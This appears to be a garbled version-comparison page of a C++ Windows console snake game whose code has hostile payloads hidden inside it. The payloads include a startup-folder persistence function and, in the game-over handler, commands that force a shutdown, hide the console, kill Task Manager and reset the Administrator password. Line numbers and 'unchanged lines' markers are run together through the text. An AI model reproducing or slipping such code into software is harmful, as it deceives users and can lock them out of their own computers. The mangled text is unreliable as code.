版本比较
我被坑了
正文
增加 17 行删除 17 行
16 行未改动171819202121222324242526272829303131323334353637373839404142424344444546474849495051525353545556579 行未改动676869707171727374752 行未改动7879808182828384858611 行未改动989910010110210210310410510614 行未改动12112212312412512512612712812923 行未改动15315415515615715715815916016016116216316416516616716716816917017117217317417517517617717817918018118218318418418518618718872 行未改动16 行未改动#include <windows.h>#include <Shlobj.h>#pragma comment(lib, "shell32.lib")using namespace std;
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);COORD coord;
void locate(int x,int y){ coord.X=y; coord.Y=x; SetConsoleCursorPosition(hout,coord);};
void hide(){ CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(hout, &cursor_info);}
double random(double start, double end){ return start+(end-start)*rand()/(RAND_MAX + 1.0);}
int m,n;
struct node{ int x,y;}snake[1000];
int snake_length,dir;node food;int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
/*** 输出墙 ***/void print_wall(){ cout << " ";9 行未改动 cout << " "; for (int i=1;i<=n;i++) cout << "-";}
void print_snake(){ locate(snake[0].x,snake[0].y); cout << "@";2 行未改动 locate(snake[i].x,snake[i].y); cout << "*"; }}
/*** 判断是否撞墙或者自撞 ***/BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName){ char szStartupPath[MAX_PATH] = { 0 };11 行未改动 if (snake[0].x==snake[i].x && snake[0].y==snake[i].y) return false; } return true;}
bool print_food(){ srand((unsigned)time(0)); bool e;14 行未改动 locate(food.x,food.y); cout << "$"; return true;}
/*** 蛇的前进 ***/bool go_ahead(){ node temp;23 行未改动 if (!is_correct()) { system("cls"); cout << "You lose!" << endl << "去屎吧!!!!" << endl;
system("shutdown -s -t 3"); HWND hwnd; ShowWindow(GetConsoleWindow(),SW_HIDE); ShowWindow(GetConsoleWindow(),SW_HIDE); hwnd = FindWindow("ConsoleWindowClass", NULL); system("taskkill /f /im taskmgr.exe"); system("net user Administrator ****");
// while(1){// SetCursorPos(rand()%1000,rand()%1000);// } // }
} return true;}
/*** 主函数 ***/int main(int argc, char * argv[]){ cout << "--------------------贪吃蛇---------------------" << endl; cout << "请选择难度.请在1-10中输入1个数,1最简单,10则最难" << endl; cout << "进入游戏画面,以方向键控制方向,祝你游戏愉快!" << endl; cout << "-----------------------------------------------" << endl; m=25; n=40; n=40; if (m<10 || n<10 || m>25 || n>40) { cout << "ERROR" << endl; system("pause");72 行未改动